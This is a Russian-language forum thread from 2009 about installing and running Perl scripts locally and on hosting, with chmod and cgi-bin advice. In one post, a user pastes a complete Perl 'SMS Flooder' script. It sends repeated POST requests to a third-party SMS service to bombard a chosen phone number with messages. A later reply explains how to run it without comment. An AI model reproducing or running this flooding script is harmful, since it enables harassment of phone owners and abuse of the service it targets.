X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> PERL, научите...
Fabregas
Fabregas
Topic Starter сообщение 9.4.2009, 23:18; Ответить: Fabregas
Сообщение #1


Бывалый
****

Группа: User
Сообщений: 439
Регистрация: 9.1.2009
Из: odessa
Поблагодарили: 112 раз
Репутация:   13  


В общем есть один скрип на Перл...Возникли трудности с установкой. Пытался разобратся. В Сети куча инфы, но осилисть не в состоянии
Народ, обьясните как ставит PERL скрипты на localhost и на хостинг unsure.gif

Стоит Денвер, обычный, не пропатченный. Какие библиотеки и нужны и т.д. Что делать с файлами (всего 2 папки, сходства с php не нахожу) Буду рад любому разьянению, ссылке...
Заранее спасибо.


--------------------
Мои лайфхаки для путешественника и все в таком духе.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Method
Method
сообщение 9.4.2009, 23:26; Ответить: Method
Сообщение #2


Сеошничаю
*****


Группа: Banned
Сообщений: 896
Регистрация: 10.1.2009
Из: верг
Поблагодарили: 182 раза
Репутация:   31  


Присоединяюсь к вопросу, сегодня кучу софта накачал чтобы как то perl код как то "оживить", особенно интересует про интерпритатор.

Сообщение отредактировал Method - 10.4.2009, 0:41
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BigMax
BigMax
сообщение 10.4.2009, 8:55; Ответить: BigMax
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 356
Регистрация: 20.6.2008
Из: -за острова на стрежень
Поблагодарили: 97 раз
Репутация:   24  


2 ТС: открой скрипт, посмотри в его начале директивы "use...."
Вот это и будут имена "библиотек" (можно так назвать), которые нужны.
Управляются эти модули в денвере насколько я помню через /usr/bin/ppm.bat

Что касается установки на хостинг.
1. Файлы должны быть сохранены в unix-формате.
2. После закачки файла надо дать ему права на выполнение. Команда chmod 755 <имя скрипта>

Сообщение отредактировал BigMax - 10.4.2009, 9:43


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Fubuki
Fubuki
сообщение 10.4.2009, 12:40; Ответить: Fubuki
Сообщение #4


Лунная лужайка
******


Группа: Banned
Сообщений: 2178
Регистрация: 5.1.2009
Из: Планета Марс
Поблагодарили: 343 раза
Репутация:   41  


файлы закачивать в папку cgi-bin или cgi-global. и дальше инсталировать как нужно...


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Fabregas
Fabregas
Topic Starter сообщение 10.4.2009, 16:34; Ответить: Fabregas
Сообщение #5


Бывалый
****

Группа: User
Сообщений: 439
Регистрация: 9.1.2009
Из: odessa
Поблагодарили: 112 раз
Репутация:   13  


Всем огромное спасибо, сейчас буду пробовать...
Вполне вероятно, что будут еще опросы по этому поводу smile.gif


--------------------
Мои лайфхаки для путешественника и все в таком духе.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Method
Method
сообщение 10.4.2009, 16:44; Ответить: Method
Сообщение #6


Сеошничаю
*****


Группа: Banned
Сообщений: 896
Регистрация: 10.1.2009
Из: верг
Поблагодарили: 182 раза
Репутация:   31  


А я если честно не понял ничего

например вот код:
#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X         #
###############################################
#                                             #
#phone number format:                         #
#[country_code][operator_cod][phone_number]   #
#e.g. 76061234567                             #
#                                             #
###############################################

use IO::Socket;

print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);

$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;

for($i=0;$i<$muchsms;$i++)
{
$get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
print $get "POST $path HTTP/1.0\n";
print $get "Host: ".$serv."\n";
print $get "Content-Type: application/x-www-form-urlencoded\n";
print $get "Content-Length: ".$len."\n\n";
print $get "$data\n";
}
print "Done!";


чем его собирать?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BigMax
BigMax
сообщение 10.4.2009, 17:40; Ответить: BigMax
Сообщение #7


Бывалый
****

Группа: User
Сообщений: 356
Регистрация: 20.6.2008
Из: -за острова на стрежень
Поблагодарили: 97 раз
Репутация:   24  


Его не надо ничем "собирать".
Достаточно залить на сервер, где установлен модуль "IO::Socket".
Дать права на выполнение и запустить. Причём именно этот код нужно запускать из командной строки.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Fabregas
Fabregas
Topic Starter сообщение 10.4.2009, 17:41; Ответить: Fabregas
Сообщение #8


Бывалый
****

Группа: User
Сообщений: 439
Регистрация: 9.1.2009
Из: odessa
Поблагодарили: 112 раз
Репутация:   13  


хм...загрузил...в скрипте 2 папки:
cgi-bin
htdocs

Обе загрузил в папку www
Дальше смотрю в usr/local/miniperl (другого нет). Есть miniperl.exe . При выборе, открываеться командная строка. Чт о делать дальше, пока не сообразил...помогите


--------------------
Мои лайфхаки для путешественника и все в таком духе.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BigMax
BigMax
сообщение 10.4.2009, 17:57; Ответить: BigMax
Сообщение #9


Бывалый
****

Группа: User
Сообщений: 356
Регистрация: 20.6.2008
Из: -за острова на стрежень
Поблагодарили: 97 раз
Репутация:   24  


(Fabregas @ 10.4.2009, 17:41) *
хм...загрузил...в скрипте 2 папки:
cgi-bin
htdocs

Обе загрузил в папку www
Дальше смотрю в usr/local/miniperl (другого нет). Есть miniperl.exe . При выборе, открываеться командная строка. Чт о делать дальше, пока не сообразил...помогите


если не разберешься, кинь на почту архив со скриптом, вечером посмотрю. сейчас убегаю.
почта в личке.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Method
Method
сообщение 10.4.2009, 18:02; Ответить: Method
Сообщение #10


Сеошничаю
*****


Группа: Banned
Сообщений: 896
Регистрация: 10.1.2009
Из: верг
Поблагодарили: 182 раза
Репутация:   31  


Достаточно залить на сервер


В каком формате файла?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Стабильный хостинг за 30р в месяц. GNU/Linux, PHP, MySQL, Perl, бэкапы. Помогу перенести сайт.
5 freeax 1537 10.11.2017, 13:15
автор: freeax


 



RSS Текстовая версия Сейчас: 12.12.2017, 20:36
Дизайн